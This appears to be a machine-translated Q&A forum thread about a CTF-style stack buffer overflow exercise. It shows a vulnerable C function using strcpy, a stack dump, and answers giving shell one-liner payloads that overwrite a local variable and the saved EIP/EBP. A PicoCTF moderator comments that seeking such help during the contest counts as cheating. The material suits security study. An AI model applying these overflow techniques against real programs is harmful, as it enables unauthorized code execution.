2013-04-30 40 views
0

我一本书我已经在网上找到学习计算机安全(很新的这东西,去容易!),和一章教你关于溢出堆栈。在程序中使用的功能是:溢出到堆栈变量混乱(计算机安全)

void vuln(int tmp, char *str) { 
    //attempting to overflow into tmp, setting win accordingly 
    int win = tmp; 
    //overflowing this array! 
    char buf[64]; 
    strcpy(buf, str); 
    dump_stack((void **) buf, 23, (void **) &tmp); 
    printf("win = %d\n", win); 
    if (win == 1) { 
     printf("You win!\n"); 
    } else { 
     printf("Sorry, you lose.\n"); 
    } 
    exit(0); 
} 

我想要做的就是溢出buftmp值设置为一个,设置相应的赢,让我赢。

我目前使用的快速python脚本打印出84字母“A对堆栈的填充我想将值设置为变量的地步。这是呼叫我做在命令提示符:

./simple_overwrite $(python -c "print 'A'*84) 

给出的输出是:

Stack dump: 
> 0xffffd614: 0xffffd803 (second argument) 
> 0xffffd610: 0x00000000 (first argument) 
> 0xffffd60c: 0x41414141 (saved eip) 
> 0xffffd608: 0x41414141 (saved ebp) 
> 0xffffd604: 0x41414141 
> 0xffffd600: 0x41414141 
> 0xffffd5fc: 0x41414141 
> 0xffffd5f8: 0x41414141 
> 0xffffd5f4: 0x41414141 
> 0xffffd5f0: 0x41414141 
> 0xffffd5ec: 0x41414141 
> 0xffffd5e8: 0x41414141 
> 0xffffd5e4: 0x41414141 
> 0xffffd5e0: 0x41414141 
> 0xffffd5dc: 0x41414141 
> 0xffffd5d8: 0x41414141 
> 0xffffd5d4: 0x41414141 
> 0xffffd5d0: 0x41414141 
> 0xffffd5cc: 0x41414141 
> 0xffffd5c8: 0x41414141 
> 0xffffd5c4: 0x41414141 
> 0xffffd5c0: 0x41414141 
> 0xffffd5bc: 0x41414141 (beginning of buffer) 
> win = 1094795585 
> Sorry, you lose. 

虽然我不太清楚什么剧本后进入设置地址指向到一个值,我试过0x1,只是1,但都没有工作。任何帮助真的很感激,谢谢!

P.S.我知道这是一个相当不好的习惯,但请记住这是关于计算机安全的,我决不想在本教程之外使用它。

+0

为什么你认为这是一个_bad_东西来了解这些问题?因为知识是危险的? _了解脆弱性是如何发生的以及如何微不足道的一些可以被利用通常具有“学习”的副作用以避免首先创建它们。 – 2013-05-01 08:11:30

+0

我假设你参加了我正在帮助运行的PicoCTF竞赛。正如我们在[常见问题](https://picoctf.com/faq)页面上明确指出的那样,这被认为是**被认为是作弊**:“与其他团队共享密钥或提供过度泄露提示是作弊的,就像直接由团队以外的人员协助(使用互联网上的工具确定; *请求互联网上的人帮助您解决问题不是*)。“ 〜PicoCTF主持人 – 2013-05-06 02:28:40

回答

2

你已经设置win0x41414141。您想将其设置为1。尝试是这样的:

./simple_overwrite $(python -c "print 'A'*64 + '\x00\x00\x00\x01'") 

也许'\x01\x00\x00\x00',根据您的计算机的存储方式。

+0

你太棒了!感谢您的帮助,如果您不介意我有关于缓冲区溢出的另一个问题。如果我想真的修改那个参数'tmp',我会如何去做,而不是搞砸保存的eip和edp?我知道这是可能的,但我不知道如何将这些保存的值“跳过”到tmp中。 – 2013-04-30 21:25:24

+0

我只是猜测在这里,但我会运行程序没有溢出('print'A'* 4',说),我会观察dump_stack显示的值。然后我再次运行该程序,将这些观察值放入打印语句中('print'A'* 64 +'\ x00 \ x00 \ x00 \ x01'+'\ xc8 \ x00 \ x94 \ x24''或其他)。这样,即使您仍然覆盖保存的EIP并保存了EBP,您仍然用正确的值覆盖它们。请注意,如果您启用了[地址空间随机化](http://en.wikipedia.org/wiki/Address_space_layout_randomization),则此技术将无法使用。 – 2013-05-01 15:02:06